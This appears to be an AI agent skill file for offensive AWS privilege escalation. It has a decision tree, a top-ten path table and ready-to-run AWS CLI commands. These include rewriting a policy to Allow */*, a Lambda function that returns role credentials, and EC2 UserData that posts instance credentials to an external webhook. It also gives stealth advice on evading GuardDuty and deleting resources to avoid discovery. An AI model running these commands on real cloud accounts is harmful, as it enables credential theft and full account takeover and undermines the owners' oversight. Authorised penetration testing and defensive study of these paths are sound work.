Privilege Escalation in AWS environments is one of the most critical attack phases. Unlike traditional operating system privilege escalation, the core of AWS privilege escalation lies in the abuse of IAM permission combinations—a seemingly harmless iam:PassRole permission, combined with the creation permission of a compute service, can allow an attacker to obtain the full permissions of an arbitrary role. AWS has hundreds of permissions, many of which can form privilege escalation chains when combined.
Key Points:iam:PassRole is the most prevalent vector in AWS privilege escalation. When an IAM Policy uses NotAction to exclude certain actions, it may implicitly grant a large number of sensitive permissions, including PassRole.
In-Depth References
After identifying a specific privilege escalation cluster, load the corresponding reference document to obtain complete technical details:
- IAM/STS/Organizations core privilege escalation → read references/iam-sts-privesc.md
- Compute service privilege escalation (EC2/Lambda/ECS/Glue, etc.) → read references/compute-privesc.md
- Other service privilege escalation (S3/DynamoDB/KMS, etc.) → read references/service-privesc.md
Core Concept: PassRole
What Is PassRole
iam:PassRole is a special IAM permission that allows a user to "pass" an IAM role to an AWS service. The service then runs as that role, with all of the role's permissions.
Workflow:
攻击者 (有 PassRole + 服务创建权限)
│
├── 1. 找到/创建一个高权限角色(如 AdminRole)
├── 2. 将该角色传递给服务(如 Lambda)
├── 3. 服务以 AdminRole 身份执行代码
└── 4. 攻击者通过服务获取 AdminRole 的临时凭据
Why PassRole Is the Most Common Privilege Escalation Vector
- Almost all AWS compute services (Lambda, EC2, ECS, Glue, SageMaker, etc.) accept role passing
- Administrators usually grant
iam:PassRolewithout restrictingResourceto a specific role (using*) - Once you have PassRole + any compute service creation permission, you can escalate privileges to the target role
How to Identify PassRole Permissions
# 检查当前用户/角色的 Policy
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
aws iam get-user-policy --user-name <user> --policy-name <policy>
# 搜索包含 PassRole 的 Policy
aws iam get-policy-version --policy-arn <arn> --version-id <vid> \
| grep -i "passrole"
The NotAction Implicit Authorization Trap
When a Policy uses NotAction + Allow , it actually allows all actions except the specified ones:
{
"Effect": "Allow",
"NotAction": "s3:DeleteBucket",
"Resource": "*"
}
This policy implicitly grants iam:PassRole、iam:CreateUser、sts:AssumeRole and all other sensitive permissions. This is a very common misconfiguration in real-world engagements.
Privilege Escalation Decision Tree
After obtaining credentials, check the available privilege escalation paths step by step according to the following decision tree:
当前权限分析
├─ 有 iam:* 或 iam:Create*/Attach* 权限
│ ├─ iam:CreateUser + iam:AttachUserPolicy → 直接创建 Admin 用户
│ ├─ iam:CreatePolicyVersion → 修改现有 Policy 为 Admin
│ ├─ iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy → 附加 Admin 策略
│ ├─ iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy → 添加内联 Admin 策略
│ ├─ iam:AddUserToGroup → 加入 Admin 组
│ ├─ iam:CreateAccessKey → 为高权限用户创建密钥
│ ├─ iam:CreateLoginProfile / UpdateLoginProfile → 设置控制台密码
│ ├─ iam:UpdateAssumeRolePolicy → 修改信任策略允许自己 AssumeRole
│ ├─ iam:SetDefaultPolicyVersion → 回滚到宽松策略版本
│ └─ iam:UpdateSAMLProvider → 篡改 SAML 联合登录
│ → 读 references/iam-sts-privesc.md
│
├─ 有 iam:PassRole + 计算服务创建权限
│ ├─ + lambda:CreateFunction + lambda:InvokeFunction → Lambda 提权
│ ├─ + ec2:RunInstances → EC2 UserData 提权
│ ├─ + ecs:RegisterTaskDefinition + ecs:RunTask → ECS 提权
│ ├─ + glue:CreateJob + glue:StartJobRun → Glue 提权
│ ├─ + sagemaker:CreateNotebookInstance → SageMaker 提权
│ ├─ + codebuild:CreateProject + codebuild:StartBuild → CodeBuild 提权
│ ├─ + cloudformation:CreateStack → CloudFormation 提权
│ ├─ + datapipeline:CreatePipeline → DataPipeline 提权
│ ├─ + apprunner:CreateService → AppRunner 提权
│ └─ + stepfunctions:CreateStateMachine → Step Functions 提权
│ → 读 references/compute-privesc.md
│
├─ 有 sts:AssumeRole
│ ├─ 枚举信任策略宽松的角色(Principal: "*")
│ ├─ 跨账户角色链 → Organizations 提权
│ └─ IAM Roles Anywhere(X.509 证书)
│ → 读 references/iam-sts-privesc.md
│
├─ 有服务特定权限
│ ├─ ssm:SendCommand / ssm:StartSession → SSM 提权到 EC2
│ ├─ s3:PutObject(CloudFormation 模板桶) → 劫持部署
│ ├─ dynamodb:PutResourcePolicy → 授权自己访问
│ ├─ kms:PutKeyPolicy / kms:CreateGrant → KMS 密钥访问
│ ├─ secretsmanager:GetSecretValue → 读取凭据
│ ├─ codebuild:StartBuild → 覆盖 Buildspec 提权
│ ├─ lambda:UpdateFunctionCode → 修改已有 Lambda 代码
│ ├─ ecr:SetRepositoryPolicy → 镜像供应链攻击
│ └─ cognito-identity:SetIdentityPoolRoles → Cognito 角色提权
│ → 读 references/service-privesc.md
│
└─ 权限非常有限
├─ 枚举所有可用权限 → enumerate-iam
├─ 逐服务检查 → Pacu iam__privesc_scan
└─ 图分析 → PMapper 构建权限图
Top 10 High-Frequency Privilege Escalation Paths
| # | Required Permissions | Privilege Escalation Method | Result |
|---|---|---|---|
| 1 | iam:CreatePolicyVersion |
Create a new policy version and set it as default, with the content Allow */* |
Admin |
| 2 | iam:AttachUserPolicy |
Directly attach AdministratorAccess to the current user |
Admin |
| 3 | iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction |
Create a Lambda to execute code with a high-privilege role | Target Role |
| 4 | iam:PassRole + ec2:RunInstances |
Launch EC2 and steal role credentials via UserData/SSH | Target Role |
| 5 | iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask |
Register a malicious task definition and run it | Target Role |
| 6 | iam:PassRole + cloudformation:CreateStack |
Create a Stack to execute arbitrary AWS APIs | CF Role |
| 7 | iam:CreateAccessKey |
Create access keys for other high-privilege users | Target User |
| 8 | sts:AssumeRole(roles with loose trust policies) |
Directly impersonate a high-privilege role | Target Role |
| 9 | iam:PassRole + glue:CreateJob |
Create a Glue Job to execute a reverse shell | Target Role |
| 10 | lambda:UpdateFunctionCode |
Modify existing Lambda code to inject a backdoor | Lambda Role |
Path 1: iam:CreatePolicyVersion — Policy Version Injection
The most concise privilege escalation method. Exploit --set-as-default Indicates creating a new policy version and taking effect immediately, without requiring additional permissions. All users/groups/roles associated with the policy immediately gain the new permissions.
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
Detection: CloudTrail records CreatePolicyVersion events, policy version changes are audited.
Path 2: iam:AttachUserPolicy — Attach managed policy
Directly attach the AWS managed AdministratorAccess policy to the current user.
aws iam attach-user-policy --user-name <current_user> \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
Variant:iam:AttachGroupPolicy(attach to a group),iam:AttachRolePolicy(attach to a role, requires AssumeRole).
Path 3: PassRole + Lambda — The most classic PassRole privilege escalation
Create a Lambda function bound to a high-privilege role; the function reads environment variables to obtain temporary credentials and returns them.
# 创建窃取凭据的函数代码
cat > /tmp/steal.py << 'EOF'
def handler(event, context):
import os
return {'env': dict(os.environ)}
EOF
cd /tmp && zip steal.zip steal.py
aws lambda create-function --function-name privesc \
--runtime python3.9 --role <target_role_arn> \
--handler steal.handler --zip-file fileb:///tmp/steal.zip
aws lambda invoke --function-name privesc /tmp/out.json && cat /tmp/out.json
Note: A network-isolated Lambda cannot reverse shell, but can directly leak credentials via the return value.
Path 4: PassRole + EC2 — UserData privilege escalation
Launch an EC2 instance and execute commands via UserData to obtain role credentials from IMDS.
aws ec2 run-instances --image-id <ami_id> --instance-type t2.micro \
--iam-instance-profile Name=<instance_profile> \
--user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'
Note: Using EC2 role credentials from outside the instance triggers a GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration alert.
Path 5: PassRole + ECS — Task definition privilege escalation
Register a task definition containing a malicious container, and obtain task role credentials from the ECS metadata endpoint (169.254.170.2). Both Fargate and EC2 launch types can be exploited. You can also use --overrides to directly overwrite the role and command of an existing task.
Path 6: PassRole + CloudFormation — Infrastructure as Code privilege escalation
A CloudFormation Stack can create arbitrary AWS resources. Create a template containing malicious IAM resources (such as a new Admin user), and deploy it through a high-privilege CF role.
Path 7: iam:CreateAccessKey — Key creation
If the target user already has 2 keys, you need to iam:DeleteAccessKey delete one first. After creation, all permissions of the target user can be used.
Path 8: sts:AssumeRole — Role impersonation
The key is to discover roles with loosely configured trust policies.Principal: "*" means any AWS entity can impersonate.
# 枚举所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
echo "=== $role ==="
aws iam get-role --role-name $role --query 'Role.AssumeRolePolicyDocument'
done
Path 9-10: Glue Job / Lambda code modification
The Glue Job privilege escalation pattern is similar to Lambda but executed via an S3 script.lambda:UpdateFunctionCode does not require PassRole; directly modify the code of an existing function — if the function is automatically triggered (API Gateway, S3 events, etc.), the injected code will execute automatically.
Complete exploitation command → read references/compute-privesc.md and references/service-privesc.md。
Indexed by service cluster
IAM/STS/Organizations cluster
Core IAM privilege escalation techniques — the most direct privilege escalation cluster, without needing to pivot through compute services; directly modify IAM configuration to gain high privileges.
Main technique categories:
| Technique category | Key permissions | Privilege escalation effect |
|---|---|---|
| Policy manipulation | iam:CreatePolicyVersion、iam:SetDefaultPolicyVersion |
Modify policy content to gain Admin |
| Policy attachment | iam:AttachUserPolicy、iam:PutUserPolicy etc. |
Attach/inject Admin policy |
| Group management | iam:AddUserToGroup |
Join a high-privilege group |
| Credential creation | iam:CreateAccessKey、iam:CreateLoginProfile |
Obtain target user credentials |
| Trust tampering | iam:UpdateAssumeRolePolicy、iam:UpdateSAMLProvider |
Modify trust policy or SAML |
| MFA takeover | iam:CreateVirtualMFADevice + iam:EnableMFADevice |
Control target user MFA |
| STS Role Chaining | sts:AssumeRole、sts:AssumeRoleWithSAML |
Impersonate High-Privilege Role |
| SSO Privilege Escalation | sso:PutInlinePolicyToPermissionSet、sso:CreateAccountAssignment |
Modify Permission Set |
| Cognito | cognito-identity:SetIdentityPoolRoles |
Hijack Identity Pool Role |
| Roles Anywhere | X.509 Certificate + Permissive Trust Policy | Impersonate Any Role |
Services involved: IAM, STS, Organizations, IAM Identity Center (SSO), Directory Services, Cognito
→ Read references/iam-sts-privesc.md
Compute Service Cluster
All privilege escalation paths based on iam:PassRole + compute service creation permissions. Attack pattern is uniform: create compute resource → attach high-privilege role → execute code within the compute resource → steal role credentials.
Main Technique Categories:
| Service | PassRole Pattern | No PassRole Pattern |
|---|---|---|
| EC2 | RunInstances + UserData/SSH | ModifyInstanceAttribute、SendSSHPublicKey |
| Lambda | CreateFunction + Invoke | UpdateFunctionCode, UpdateFunctionConfiguration (environment variable RCE) |
| ECS | RegisterTaskDefinition + RunTask | ExecuteCommand to enter container, RegisterContainerInstance |
| Glue | CreateDevEndpoint / CreateJob | UpdateDevEndpoint (SSH key replacement), UpdateJob |
| SageMaker | CreateNotebookInstance | CreatePresignedNotebookInstanceUrl / CreatePresignedDomainUrl |
| CodeBuild | CreateProject + StartBuild | StartBuild (buildspec override), UpdateProject |
| CloudFormation | CreateStack / CreateChangeSet | UpdateStack (exploit already attached role) |
| Step Functions | CreateStateMachine + StartExecution | TestState (directly test a single state) |
| EventBridge | CreateSchedule (Universal Target) | - |
| EMR | RunJobFlow + SSH | OpenEditorInConsole |
| AppRunner | CreateService | - |
| DataPipeline | CreatePipeline + PutPipelineDefinition | - |
| CodePipeline | CreatePipeline | PollForJobs (obtain temporary S3 credentials) |
| Elastic Beanstalk | CreateApplication + S3 write | RebuildEnvironment (code replacement) |
Services involved: EC2, Lambda, ECS/EKS, Glue, SageMaker, EMR, CodeBuild, CodePipeline, CodeStar, Elastic Beanstalk, AppRunner, Step Functions, DataPipeline, EventBridge Scheduler
→ Read references/compute-privesc.md
Other Service Cluster
Privilege escalation paths for data services, security services, and infrastructure services. Mostly indirect privilege escalation—achieved through accessing sensitive data, modifying resource policies, or hijacking deployment pipelines.
Main Technique Categories:
| Service | Key Permissions | Privilege Escalation Method |
|---|---|---|
| SSM | ssm:SendCommand、ssm:StartSession |
Remote command execution, steal EC2/ECS role credentials |
| S3 | s3:PutObject(configuration bucket) |
Tamper with CF template/Terraform state/Buildspec |
| DynamoDB | dynamodb:PutResourcePolicy |
Resource policy injection, grant cross-account access |
| KMS | kms:PutKeyPolicy、kms:CreateGrant |
Key policy modification, decrypt protected data |
| SecretsManager | secretsmanager:GetSecretValue |
Directly read stored credentials/passwords |
| ECR | ecr:SetRepositoryPolicy、ecr:PutImage |
Image supply chain attack, tag override |
| EBS | ebs:GetSnapshotBlock |
Download snapshot to extract credentials (e.g., AD password) |
| RDS | rds:ModifyDBInstance |
Reset database password |
| SNS/SQS | sns:Subscribe、sqs:ReceiveMessage |
Message eavesdropping to obtain sensitive information |
| Lightsail | lightsail:DownloadDefaultKeyPair |
SSH key acquisition (not IAM privilege escalation) |
| Route53 | route53:ChangeResourceRecordSets |
DNS hijacking to assist attacks |
Services involved: S3, DynamoDB, RDS, KMS, SecretsManager, SNS, SQS, SSM, CloudFormation (no PassRole), Redshift, EBS, EFS, ECR, Lightsail, etc.
→ Read references/service-privesc.md
Permission-to-Service Quick Reference Matrix
When you discover a specific permission, quickly locate possible privilege escalation paths:
| Discovered Permission | Privilege Escalation Path to Check | Reference |
|---|---|---|
iam:PassRole (Resource: *) |
All compute service privilege escalation | compute-privesc.md |
iam:PassRole (Resource: specific role) |
Check that role's permissions and choose a matching compute service | compute-privesc.md |
iam:Create* / iam:Attach* / iam:Put* |
IAM direct privilege escalation | iam-sts-privesc.md |
sts:AssumeRole |
Enumerate roles with permissive trust policies | iam-sts-privesc.md |
lambda:* |
Lambda Code Modification/Creation | compute-privesc.md |
ec2:RunInstances / ec2:Modify* |
EC2 Privilege Escalation | compute-privesc.md |
ecs:* |
ECS Task Definition/Container Command Execution | compute-privesc.md |
ssm:SendCommand / ssm:StartSession |
SSM Remote Execution | service-privesc.md |
s3:PutObject(Infrastructure Bucket) |
Configuration File/Template Tampering | service-privesc.md |
codebuild:StartBuild |
Buildspec Override | compute-privesc.md |
secretsmanager:GetSecretValue |
Direct Credential Reading | service-privesc.md |
kms:PutKeyPolicy |
KMS Key Takeover | service-privesc.md |
cognito-identity:* |
Cognito Role Hijacking | iam-sts-privesc.md |
Privilege Escalation Detection and Automation Tools
Permission Enumeration Tools
| Tool | Purpose | Command Example |
|---|---|---|
| enumerate-iam | Brute-force enumerate APIs available to the current credentials | python enumerate-iam.py --access-key AKIA... --secret-key ... |
| Pacu (iam__enum_permissions) | Enumerate IAM permissions | run iam__enum_permissions |
| ScoutSuite | Multi-cloud security audit | scout aws --profile <profile> |
Privilege Escalation Path Analysis Tools
| Tool | Purpose | Command Example |
|---|---|---|
| Pacu (iam__privesc_scan) | Automatically scan for 21+ known privilege escalation paths | run iam__privesc_scan |
| PMapper (Principal Mapper) | Graph-analyze IAM permission relationships and visualize privilege escalation chains | pmapper graph create && pmapper analysis |
| Cloudsplaining | Analyze excessive authorization and dangerous permissions in IAM Policies | cloudsplaining scan --input-file account-auth.json |
| aws_escalate.py | RhinoSecurityLabs original privilege escalation detection script | python aws_escalate.py |
| Cognito Scanner | Cognito specialized attack tool | cognito-scanner --identity-pool-id <id> |
Recommended Privilege Escalation Check Process
Step 1: Confirm Identity and Permissions
# 确认当前身份
aws sts get-caller-identity
# 查看用户附加的策略
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
# 查看用户所属的组
aws iam list-groups-for-user --user-name <user>
# 如果是角色,查看角色策略
aws iam list-attached-role-policies --role-name <role>
Step 2: Automated Scanning
# 使用 Pacu 自动扫描
# 在 Pacu shell 中:
run iam__enum_permissions
run iam__privesc_scan
# 或使用 PMapper 构建权限图
pmapper graph create
pmapper query "who can do iam:PassRole with arn:aws:iam::*:role/*"
pmapper query "who can do sts:AssumeRole with *"
pmapper analysis --output results.txt
Step 3: Manual Verification
Based on the discovered permissions, manually verify feasible privilege escalation paths by referring to the decision tree in this article and the references files.
AWS CDK Special Privilege Escalation Paths
Environments using AWS CDK have pre-provisioned roles that follow the cdk-<qualifier>-<name>-<account>-<region> naming pattern. The default qualifier is hnb659fds. Key roles:
cdk-hnb659fds-cfn-exec-role-<account>-<region>— CloudFormation execution role, usually has*/*permissionscdk-hnb659fds-deploy-role-<account>-<region>— Deployment role
If you can AssumeRole into the deploy-role or modify the CDK project source code, you can inject malicious CloudFormation resources to obtain Admin.
Notes
Operational Security (OPSEC)
- CloudTrail Logs: Almost all IAM/STS operations are recorded. High-risk events include:
CreatePolicyVersion、AttachUserPolicy、CreateAccessKeyPassRole(recorded as a parameter of other API calls)AssumeRole、AssumeRoleWithSAML
- GuardDuty Detection:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration— EC2 role credentials used outside the instanceRecon:IAMUser/UserPermissions— Large number of IAM enumeration operationsPrivilegeEscalation:IAMUser/AdministrativePermissions— Privilege escalation behavior
- Waiting for Asynchronous Operations:
- EC2 startup takes about 1-3 minutes
- Glue DevEndpoint preparation takes about 5-10 minutes
- SageMaker Notebook creation takes about 3-5 minutes
- CloudFormation Stack creation time depends on the number of resources
- Resource Cleanup: Clean up created resources (Lambda functions, EC2 instances, etc.) promptly after privilege escalation to reduce the risk of discovery
Privilege Escalation Prerequisite Verification
- Cross-Account AssumeRole: Requires the target role's trust policy to allow the attacker's account, and the attacker's account's own policy must allow
sts:AssumeRole - PassRole Resource Restriction: Check the
iam:PassRole'sResourcefield——*indicates that any role can be passed, while a specific ARN indicates that only the specified role can be passed - Service Trust Relationship: The role being passed must trust the target service (e.g., the Lambda role needs to trust
lambda.amazonaws.com) - Permissions Boundary: Even if an Admin policy is attached, the permissions boundary may limit the effective permissions
- SCP(Service Control Policy): An Organizations SCP may restrict actions in member accounts, even with Admin permissions
- VPC Network Restrictions: Some privilege escalation paths (such as RDS password reset) require network access to the target resource
Cross-Reference
- Refer to the
aws-pentestingskill for the overall attack flow - Refer to the
cloud-iam-auditskill for cross-cloud IAM auditing - Refer to the
aws-iam-policy-analysisskill for in-depth analysis of Policy configuration